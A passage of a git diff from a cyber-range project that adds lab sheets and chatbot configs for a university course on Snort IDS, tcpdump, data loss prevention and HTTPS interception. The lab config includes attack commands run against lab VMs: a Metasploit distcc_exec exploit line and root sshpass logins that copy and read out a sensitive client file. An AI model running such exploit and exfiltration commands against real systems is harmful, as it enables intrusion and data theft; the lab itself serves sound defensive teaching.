Note the line "`var RULE_PATH /etc/snort/rules`": this is where the IDS signatures are stored. + +- Note the presence of a Back Orifice detector preprocessor "bo". Back Orifice was a Windows Trojan horse that was popular in the 90s. + +- Note the "sfportscan" preprocessor (is it enabled?), which can detect various kinds of port scans. + +- The "arpspoof" preprocessor is described as experimental, and is not enabled by default. + +- Towards the end of the config file are "include" lines, which specify which of the rule files in RULE\_PATH are in effect. As is common, lines beginning with "\#" are ignored, which is used to list disabled rule files. There are rule files for detecting known exploits, attacks against services such as DNS and FTP, denial of service (DoS) attacks, and so on. + +Add the following line below the other include rules (at the end of the file): + +`include $RULE_PATH/my.rules` + +Save your changes to snort.conf +> (For example, in vi, press Esc, then type ":wq"). + +> Hint: you may find it easier to use Esc, then type ":w" to write your changes to disk and then type ":q" to exit (or "x" shorthand for "wq"). + +Run this command, to ==create your new rule file:== + +```bash +sudo touch /etc/snort/rules/my.rules +``` + +==Edit the file.== For example: + +```bash +sudo vi /etc/snort/rules/my.rules +``` + +==Add this line (*with your own name*), and save your changes:== + +`alert icmp any any ->any any (msg: "*Your-name*: ICMP Packet found"; sid:1000000; rev:1;)` + +> For example, `alert icmp any any -> any any (msg: "**Cliffe**: ICMP Packet found"; sid:1000000; rev:1;)` + +Now that you have new rules, tell Snort to ==reload its configuration:== + +```bash +sudo service snort stop +sudo service snort start +``` +> If after attempting a reload, Snort fails to start, then you have probably made a configuration mistake, so check the log for details by running: `tail /var/log/syslog` + +Due to the new rule you have just applied, sending a simple ICMP Ping (typically used to troubleshoot connectivity) will trigger a Snort alert. + +Try it, **from the desktop** VM, ==ping the web_server:== + +```bash +ping <%= $web_server_ip %> +``` + +Check for the Snort alert. You should see that the ping was detected, and our new message was added to the alerts log file. + diff --git a/modules/generators/structured_content/hackerbot_config/ids/templates/tcpdump.md.erb b/modules/generators/structured_content/hackerbot_config/ids/templates/tcpdump.md.erb new file mode 100644 index 000000000..205287c2f --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/templates/tcpdump.md.erb @@ -0,0 +1,116 @@ +### Tcpdump + +This section gives a quick overview of the basics of network monitoring, using tools such as Tcpdump and Wireshark. Keep in mind that these are important foundations, and we will quickly build on these. + +**From your ids_server VM.** (==Login to the ids_server VM==) + +To view live network traffic, ==start tcpdump on the ids_server:== + +First, identify the network interface card (nic) to use: +```bash +ip -4 -o a s | grep <%= $ids_server_ip %> +``` +> The "ip a s" command lists all local IP addresses, and -4 filters to only show IPv4, while -o sets one-line output mode + +```bash +sudo tcpdump -i eth1 +``` +> Where **eth1**, is the name of the interface given in response to the above command. + +With tcpdump still running, **from the desktop VM** ==perform a ping to the ids_server VM.== + +```bash +ping <%= $ids_server_ip %> +``` +> Run the above from the desktop VM. + +> Note that Tcpdump displays the network activity taking place, including the pings, and various TCP connections and ARP requests. Depending on your environment you might also be seeing the traffic between various other VMs. + +==Stop the ping== with Ctrl-C. + +The IDS server has a network card interface that can enter promiscuous mode, meaning that it can view traffic destined to other systems on the network. (Without entering promiscuous mode a computer would only view the traffic destined for itself.) + +Test this, **from the desktop** ==ping the web_server==: + +```bash +ping <%= $web_server_ip %> +``` +> If your network is configured correctly, from the Tcpdump running on the ids_server you should see the pings between these separate VMs (the desktop, and the web_server). Take the time to confirm that this is working. If it is not showing this traffic, but did show the last output, you need to configure the ids_server to be able to view the network traffic. + +Once you have seen tcpdump in action displaying these packets ==press Ctrl-C to exit.== + +Tcpdump can format the output in various ways, showing various levels of detail. + +**From the ids_server**, ==run:== + +```bash +sudo tcpdump -A -i eth1 +``` +> This shows the packet **content** without the information about the source and destination. Note that this content will contain binary data that can be difficult understand. + +When you ==access a web page in a browser on the desktop VM== (go ahead... ==reload this labsheet== webpage), Tcpdump will display the content, so long as the traffic is not SSL encrypted (for example, so long as the URL doesn't start with http**s**://). Depending on the webserver and browser, the content may be compressed (but not encrypted) to save bandwidth. + +**From the desktop VM**, use command line tools to ==view the labsheet and webserver pages:== + +```bash +curl <%= $web_server_ip %> +curl <%= $hackerbot_server_ip %> +``` + +==Ping the web_server again== and observe the output. + +Stop tcpdump (Ctrl-C) on the ids_server VM once you have observed the output. + +==Run the following== command **on the ids_server:** + +```bash +sudo tcpdump -v -i eth1 +``` +> The above is even more verbose, showing lots of detail about the network traffic. + +Now try the ==above again==. Note the very detailed output. + +It is possible to write tcpdump network traffic to storage, so that it can be analysed later: +```bash +sudo tcpdump -w /tmp/tcpdump-output -i eth1 +``` + +While that is running, ==access a web page from Firefox on the desktop VM== browse to ==[*http://<%= $web_server_ip %>*](http://<%= $web_server_ip %>)== (In a new tab.) + +Then ==close tcpdump== (Ctrl-C). + +To view the file containing the tcpdump output on the ids_server VM type: + +```bash +less /tmp/tcpdump-output +``` +> (Press "y" to see the output if you are warned that it may be a binary file) + +> You should be able to PageUp and PageDown through the file. + +> Press "Q" to quit when ready + +Run `man tcpdump` and read about the many options for output and filtering. + +### Tcpdump filtering and Wireshark + +We can also use tcpdump to do some simple monitoring of the network traffic to detect certain key words. + +**On the ids_server**, ==run:== + +```bash +kdesudo wireshark & + +sudo tcpdump -A -i eth1 | grep "GET" +``` +> For this exercise you can ignore the warning about running Wireshark as root, or read online to learn to use setcap to grant Wireshark more specific privileges. + +In Wireshark, choose the network interface card (such as eth1) then click the green start icon, to ==start monitoring traffic==. Generate some traffic and explore how to ==view it using Wireshark==. + +You can also open the captured network traffic in Wireshark. + +Open a web browser **on the desktop VM**, and visit [*http://<%= $web_server_ip %>*](http://<%= $web_server_ip %>), note that tcpdump captures *most* network content, and grep can be used to filter it down to lines that are interesting to us. + +Note that making sense of this information using tcpdump and/or Wireshark is possible (and is a common sys-admin task), but the output is too noisy to be constantly and effectively monitored by a human to detect security incidents. Therefore we can use an IDS such as Snort to monitor and analyse the network traffic to detect activity that it is configured to alert. + +Make sure tcpdump is stopped (Ctrl-C). diff --git a/modules/generators/structured_content/hackerbot_config/ids/templates/write_snort_rules.md.erb b/modules/generators/structured_content/hackerbot_config/ids/templates/write_snort_rules.md.erb new file mode 100644 index 000000000..41ec52e98 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/templates/write_snort_rules.md.erb @@ -0,0 +1,116 @@ +## Writing your own Snort rules + +Snort is predominantly designed as a signature-based IDS. Snort monitors the network for matches to rules that indicate activity that should trigger an alert. You have now seen Snort detect a few types of activity, and have added a rule to detect ICMP packets. Next you will apply more complicated rules, and create your own. + +You may find external reference guides to writing Snort rules helpful. See the resources section below, and Google may come in handy. + +In general, rules are defined on one line (although, they can break over lines by using `\`), and take the form of: + +**header (body)** + +where header = "**action** (log,alert) **protocol** (ip,tcp,udp,icmp,any) **source_IP** **source_port** **direction** (->,<>) **destination_IP** **destination_port**" + +> for example: `alert tcp any any -> any any` to make an alert for all TCP traffic, or `alert tcp any any -> 192.168.0.1 23` to make an alert for connections to telnet on the given IP address + +and body = "**option; option: "parameter"; ...**" + +The most common options are: + +> `msg: "message to display"` + +and, to search the packet's content: + +> `content: "some text to search for"` + +To set the type of alert: + +> `classtype:misc-attack` +> +> (where *misc-attack* is defined in `/etc/snort/classification.conf`) + +To give a unique identifier and revision version number: + +> `sid:1000001; rev:1` + +So for example the body could be: + +> `msg: "user login attempt"; content: "user"; classtype:attempted-user; sid:1000001; rev:1;` + +And bringing all this together a Snort rule could read: + +> `alert tcp any any -> 192.168.0.1 110 (msg: "Email login attempt"; content: "user"; classtype:attempted-user; sid:1000001; rev:1;)` + +This rule looks at packets destined for 192.168.0.1 on the pop3 Email port (110), and sends an alert if the content contains the "user" command (which is used to log on to check email). Note that this rule is imperfect as it is, since it is case sensitive. + +There are lots more options that can make rules more precise and efficient. For example, making them case insensitive, or starting to search content after an offset. Feel free to do some reading, to help you to create better IDS rules. + +==Figure out how the rule could be improved to be case insensitive.== + +==Browse the existing rules in `/etc/snort/rules` and figure out how at least two of them work.== + +Lets create a basic rule that detects any web traffic on port 80. + +**On your IDS server:** + +```bash +echo 'alert tcp any any -> any 80 (msg: "Web traffic detected - ASDFGH"; sid:1000002; rev:1;)' >> /etc/snort/rules/my.rules + +service snort restart +``` + +==**Don't forget to reload Snort every time you add or modify a rule!**== + +**From your desktop VM**, browse to a website, and confirm the rule worked to generate an alert containing "ASDFGH". Note that Hackerbot will require you to include particular text within the alerts of the rules you write. + + +# TODO RANDOM +# HACKERBOT ATTACKS + +Add a rule to detect any attempt to connect to a Telnet server, the output message must include "- RANDOM". Connections to a Telnet server could be a security issue, since logging into a networked computer using Telnet is known to be insecure because traffic is not encrypted. Don't forget to reload Snort! + +#TODO SecGen module to install telnetd + + + +Once you have saved your rule and reloaded Snort, test this rule by using Telnet. Rather than starting an actual Telnet server (unless you want to do so), you can simulate this by using Netcat to listen on the Telnet port, then connect with Telnet from the desktop VM. +On a terminal on the Kali Linux VM: +```bash +netcat -l -p 23 +``` +Leaving that running, and on a terminal on the openSUSE VM: +```bash +telnet localhost +``` +Type "hello" + + + +##TODO +Create a rule that only triggers on loading the Webserver's homepage (http://<%= $web_server_ip %>). Don't forget to reload Snort. + +--- + +Create a rule that triggers on the + +##TODO +Create a Snort rule that detects visits to the Leeds Beckett website from the Kali VM, but does not get triggered by general web browsing. + +Hints: +> Look at some of the existing Snort rules for detecting Web sites, such as those in /etc/snort/rules/community-inappropriate.rules + +> In the IMS labs or when using oVirt, you are likely using the proxy to access the web, so you will need to approach your rules a little differently, you may find you need to change the port you are listening to. Look at the output of tcpdump -A when you access a web page, what does the traffic contain that may point to what is being accessed? Have a look through the output of tcpdump for the text "Host". + +As before, include your name in the alert message. + +##TODO + +Setup Snort as an intrusion *prevention* system (IPS): on the Kali VM so that it can actually deny traffic, and demonstrate with a rule. You may wish to extend the Leeds Beckett website rule, so that all attempts to access the website are denied by Snort. + + +# write a rule that detects +"Top secret" +Randomly specified content +Randomly generated content (requires network monitoring) +attacks +random port number (by service name?) + diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/ids_exfiltration.pp b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/ids_exfiltration.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/secgen_local/local.rb new file mode 100644 index 000000000..13b90d2fd --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/secgen_local/local.rb @@ -0,0 +1,45 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class IDS < HackerbotConfigGenerator + + attr_accessor :web_server_ip + attr_accessor :ids_server_ip + attr_accessor :hackerbot_server_ip + + def initialize + super + self.module_name = 'Hackerbot Config Generator IDS' + self.title = 'IDS' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + self.web_server_ip = [] + self.ids_server_ip = [] + self.hackerbot_server_ip = [] + end + + def get_options_array + super + [['--web_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--ids_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--web_server_ip' + self.web_server_ip << arg; + when '--ids_server_ip' + self.ids_server_ip << arg; + when '--hackerbot_server_ip' + self.ids_server_ip << arg; + end + end + +end + +IDS.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/secgen_metadata.xml new file mode 100644 index 000000000..ae3f4964d --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/secgen_metadata.xml @@ -0,0 +1,45 @@ + + + + Hackerbot config for a IDS rules lab + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for a IDS lab. + Topics covered: Writing Snort rules. + + hackerbot_config + linux + + accounts + flags + root_password + web_server_ip + ids_server_ip + hackerbot_server_ip + + + + + + + vagrant + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/DLP.md b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/DLP.md new file mode 100644 index 000000000..69184bd8d --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/DLP.md @@ -0,0 +1,93 @@ +## Introduction + +This week's lab consists of problem based tasks. You should be able to complete all tasks using VMs on oVirt but may wish to use a prepared VM with OpenDPL pre-installed for task A3. + +This week's lab is entirely problem-based. + +## Data loss prevention (DLP) + +Data loss prevention (DLP) involves monitoring network activity that indicates that sensitive information is being exfiltrated or handled incorrectly. Some DLP systems monitor local systems and data at rest (for example, HIDS), while others are focused on network traffic and data in motion (NIDS). Using DLP software can help to detect insecure processes in an organisation, such as storing sensitive data in unplanned or insecure places. It can also help to mitigate insider threat, and data exfiltration to remote attackers. A report by Bnet shows that 45 percent of employees take data when they change jobs, and data leakage and organisational doxing has become more frequent (for example, the Sony Pictures compromise). + +Note that there is a variety of DLP solutions available, and the most robust enterprise solutions provide network monitoring (data in motion), file system monitoring (data at rest), and some DLP systems will also monitor local file transfers (for example, copying files to USB) to block exfiltration using local storage devices. + +In order to be effective, an organisation must identify sensitive data in their organisation that should be monitored. + +## Snort exfiltration detection (data in motion) + +### Text-based exfiltration detection + +Choose a file representing data you are going to detect and protect. For example, you may choose to use a document you previously created (such as an assignment you have completed in the past). + +Write a Snort rule that detects the transfer of the contents of this file. + +Transfer the file via (unencrypted) FTP, and show that your above rule detects the file transfer. + +Transfer the file via (unencrypted) HTTP, and show that your above rule detects the file transfer. + +Hint: you can include your sensitive data directly in a Snort rule. This is very closely related to the IDS Lab, which will be a helpful resource. Consider using the metadata:service tag in your rule. + +It is fine to monitor all ports, so long as your rule(s) detect transfer via FTP and HTTP. + + + +**Label it or save it as "DLP-A1".** + +#### Hash-based exfiltration detection + +Assuming the data you are protecting is sensitive, you likely don't want your Snort rules to contain direct copies of all your most sensitive data. For this reason, Snort rules can contain hashes to match against. + +Write a Snort rule that detects the transfer of the contents of your file, based on hashes, so that the Snort rule does not contain any plain text of your document. + +Hint: consider using the protected\_content keyword in your rule. + +Transfer the file via (unencrypted) FTP, and show that your rule detects the file transfer. + + + +**Label it or save it as "DLP-A2".** + +### OpenDLP (data at rest) + +[*OpenDLP*](https://code.google.com/p/opendlp/) is designed to detect sensitive data at rest. Although the project looks to be somewhat inactive, the software is functional and performs tasks similar to various commercial offerings, and is worth exploring to gain an understanding of what is available. + +OpenDLP can be run as an agent (on the system you are scanning) or agentless to perform a credentialed scan over the network. Provided with credentials, it can scan Windows file shares. + +It can scan directories for files containing matches to regular expressions. It comes with a number of pre-canned regexp, to detect USA social security numbers (SSN), credit card details, and so on. You can configure your own rules to scan for specific sensitive data. + +Note that tools such as this can also be helpful in security audits and penetration tests, to identify potentially sensitive documents that are available on systems being scanned. + +Use OpenDLP to scan a system, and show that it can be used to detect potentially sensitive data (such as your above document). + +Hint: this may involve downloading and running the OpenDLP VM, generating a profile, providing credentials, then running a scan. + +**Take screenshots of your use of OpenDLP to detect sensitive data, preferably your own file above, as evidence that you have completed this part of the task. ** + +**Label it or save it as "DLP-A3".** + +### Squid Proxy SSL Bump (encrypted data in motion) + +Encryption is an incredibly powerful tool for protecting confidentiality of data in transit, and is critical for enabling secure communication and individual privacy on the Internet. However, in a corporate environment it is often justified for an organisation to monitor network communications, for DLP reasons. + +Many organisations configure security products to forcefully intercept and inspect secure connections. One of the most common ways of achieving this is for the organisation to create their own Certificate Authority (CA), adding that certificate to each client system (such as every desktop system in the organisation), and basically performing automated man in the middle (MITM) attacks against all those systems. + +The general approach is that every client request (for example, a browser requesting access to a Website) is intercepted, and the interceptor signs its communication to the client using the organisation's CA (which the client is forced to trust, if they want to access the Internet), and forwards requests and responses to and from the actual target servers on the Internet. Thereby the organisation can inspect the traffic from the interception point. + +Configure Squid to intercept and MITM all Web access so that even encrypted Websites, such as Facebook, can be monitored. + +Related resources: + +- [*http://wiki.squid-cache.org/Features/MimicSslServerCert*](http://wiki.squid-cache.org/Features/MimicSslServerCert) + +- [*http://blog.davidvassallo.me/2011/03/22/squid-transparent-ssl-interception/*](http://blog.davidvassallo.me/2011/03/22/squid-transparent-ssl-interception/) + +Hint: this will involve setting up Squid proxy on a VM, pointing a Web browser at Squid, checking that you can access the internet via the Squid proxy. Then setting up Squid to intercept HTTPS connections using SSL Bump/MimicSslServerCert. This won't be quick, you will need to create a new CA with Public and Private keys, then configure Squid to use these for interception. The CA public key can be imported into the Web browser to remove the untrusted connection warnings. + +**Take screenshots of Squid being configured and used to intercept HTTPS, as evidence that you have completed this part of the task. ** + +**Label it or save it as "DLP-A4".** + +Write a description of the security advantages and disadvantages to intercepting HTTPS (one page max). + +**A description of the security advantages and disadvantages to intercepting HTTPS. ** + +**Label it or save it as "DLP-A5".** diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/dlp.md.erb b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/dlp.md.erb new file mode 100644 index 000000000..99eea0a60 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/dlp.md.erb @@ -0,0 +1,31 @@ +## Data loss prevention (DLP) + +Data loss prevention (DLP) involves monitoring network activity that indicates that sensitive information is being exfiltrated or handled incorrectly. Some DLP systems monitor local systems and data at rest (for example, HIDS), while others are focused on network traffic and data in motion (NIDS). Using DLP software can help to detect insecure processes in an organisation, such as storing sensitive data in unplanned or insecure places. It can also help to mitigate insider threat, and data exfiltration to remote attackers. A report by Bnet shows that 45 percent of employees take data when they change jobs, and data leakage and organisational doxing has become more frequent (for example, the Sony Pictures compromise). + +Note that there is a variety of DLP solutions available, and the most robust enterprise solutions provide network monitoring (data in motion), file system monitoring (data at rest), and some DLP systems will also monitor local file transfers (for example, copying files to USB) to block exfiltration using local storage devices. + +In order to be effective, an organisation must identify sensitive data in their organisation that should be monitored. + +## Snort exfiltration detection (data in motion) + +### Text-based exfiltration detection + +Hint: you can include your sensitive data directly in a Snort rule. This is very closely related to the IDS rules lab, which will be a helpful resource. Consider using the metadata:service tag in your rule. + +It is fine to monitor all ports, so long as your rule(s) detect transfer of the file. + +#### Regular expression-based exfiltration detection + +Assuming the data you are protecting is sensitive, you likely don't want your Snort rules to contain direct copies of all your most sensitive data. For this reason, Snort rules can contain regular expressions to match against. + +It is possible to write Snort rules that detect the transfer of the contents of your files, based on pattern matching, so that the Snort rule does not contain the sensitive parts of your document. + +Hint: consider using the pcre keyword in your rule. + +> Side note: *Hash-based exfiltration detection*: **you don't need to use this for this lab.** + +> Assuming the data you are protecting is sensitive, you likely don't want your Snort rules to contain direct copies of all your most sensitive data. For this reason, Snort rules can contain hashes to match against. + +> Using newer versions of Snort it is possible to write Snort rules that detect the transfer of the contents of your files, based on hashes (using the protected\_content keyword), so that the Snort rule does not contain any plain text of your document. + +--- \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/intro.md.erb new file mode 100644 index 000000000..6eec5ba78 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/intro.md.erb @@ -0,0 +1,86 @@ +# Data Loss Prevention and Exfiltration Detection + +This week's lab is entirely problem-based. + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- ids_server (IP address: <%= $ids_server_ip %>) +- web_server (IP address: <%= $web_server_ip %>, leave it running, you don't log into this through the gui console, you may ssh to it later in the lab) +- desktop + +All of these VMs need to be running to complete the lab. + +**Ensure the ids_server VM is allowed promiscuous mode.** If you are completing this lab on Leeds Beckett oVirt infrastructure, this should be sorted. Otherwise, if you have used SecGen to spin up VMs, you need to ensure your VMs have permission to monitor networks using promiscuous mode. On the Leeds Beckett oVirt infrastructure we have snoop networks, which mirror all the traffic between systems. On Virtualbox, you would need to go to Advanced network settings for the host-only network on the ids_server and enable promiscious mode. + +### Your login details for the "desktop" and "ids_server" VMs +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server or web_server, but all the VMs need to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to monitor the network and will attack your systems. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +Work through the below exercises, completing the Hackerbot challenges as noted. + +--- +## Getting Snort up and running + +**On the ids_server VM:** + +==Change Snort's output== to something more readable: + +```bash +sudo vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, + +> ":wq" to write changes and quit) + +==Add the following lines:== +`output alert_fast` + +`include $RULE_PATH/my.rules` + +==Create a new rules file:== + +```bash +sudo touch /etc/snort/rules/my.rules +``` + +Let us edit the rules file without sudo: + +```bash +sudo chown <%= $main_user %> /etc/snort/rules/my.rules +``` + +==Change Snort's interface== to the interface with IP address <%= $ids_server_ip %> (likely eth1), and set the local network to your IP address range (or "any"): + +```bash +sudo vi /etc/snort/snort.debian.conf +``` +> If you are not sure which interface to use, list the interfaces with `ifconfig` or `ip a s` +> Set the interface and HOME network range, and exit vi (Esc, ":wq"). + +==Restart Snort:== + +```bash +sudo service snort stop +sudo service snort start +``` +> Using "reload" or "restart" may not update the interface. + +Snort should now be running, monitoring network traffic for activity. + +It can be helpful to monitor network traffic while writing IDS rules. You can start Wireshark with `kdesudo wireshark &` + diff --git a/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/lab.xml.erb b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/lab.xml.erb new file mode 100644 index 000000000..a6652261c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_exfiltration/templates/lab.xml.erb @@ -0,0 +1,273 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $second_account.key?("leaked_filenames") && $second_account['leaked_filenames'].size > 0 + $files = $second_account['leaked_filenames'] + $log_files = $second_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $main_user_pass = $first_account['password'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$second_user}/#{$files.sample}" + $example_dir = "/home/#{$second_user}/personal_secrets/" + + $web_server_ip = self.web_server_ip.first + $ids_server_ip = self.ids_server_ip.first + $hackerbot_server_ip = self.hackerbot_server_ip.first + $root_password = self.root_password + $flags = self.flags + + $sensitive_files_location = "/home/#{$main_user}/trade_secrets/" + + REQUIRED_FLAGS = 3 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + false + + + + + Just thought you should know, I am going to hack your servers and steal your data... If only all attackers were so thoughtful to give you a heads up! You will need to keep track of when your sensitive files are transferred on the network, and keep track of any copies of the files. + + + When you are ready, simply say 'ready'. + 'Ready'? + Ok, I'll do what I can to move things along... + Moving things along to the next one... + Ok, I'll do what I can to back things up... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last one for now. You can rest easy, until next time... (End.) + That was the last one. Game over? + You are back to the beginning! + This is where it all began. + Doing my thing... + Here we go... + ... + .... + Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + DLP + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
+<%= File.read self.templates_path + 'resources.md.erb' %> + +<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $rand_alert0 = SecureRandom.hex(3) + $rand_tmp_restingplace = "/tmp/#{SecureRandom.hex(3)}" %> + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'cp <%= $sensitive_files_location %>clients.csv <%= $rand_tmp_restingplace %>; chmod 644 <%= $rand_tmp_restingplace %>'; stat0=$?; echo -$stat0; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; echo --$? + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + + cat <%= $rand_tmp_restingplace %>; echo --$? + + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert0 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/my.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert0 %>.*".*content:"' /tmp/snort_rules >/dev/null; echo good_rule:$? + + + You need to monitor your sensitive list of clients. The file contains credit card details and national insurance numbers. You have a copy in <%= $sensitive_files_location %>clients.csv Use one or more Snort rules to detect unencrypted transport of the file. The alert must include the message "<%= $rand_alert0 %>". (This attack may take a while.) + + + good_rule:1 + :( Couldn't find your snort rule on the IDS server in /etc/snort/rules/my.rules. You are missing content matching or the message from your rule. + + + triggered:1 + :( Your rule wasn't triggered. + + + triggered:0.*good_rule:0 + :) Well done! <%= $flags.pop %>. + + + + --1 + :( Failed to scp to the ids server (<%= $ids_server_ip %>) + + + -1 + :( Failed to ssh to the web server (<%= $web_server_ip %>) + + + --0 + Continuing... + + + :( Something was not quite right... + + + <%= ERB.new(File.read self.templates_path + 'dlp.md.erb').result(self.get_binding) %> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +<% $rand_alert2 = SecureRandom.hex(3) + $rand_tmp_restingplace_fake = "/tmp/#{SecureRandom.hex(3)}" %> + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'cp <%= $sensitive_files_location %>fake_clients.csv <%= $rand_tmp_restingplace_fake %>; chmod 644 <%= $rand_tmp_restingplace_fake %>'; stat0=$?; echo -$stat0; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; echo --$? + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + + cat <%= $rand_tmp_restingplace_fake %>; echo --$? + + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert2 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/my.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert2 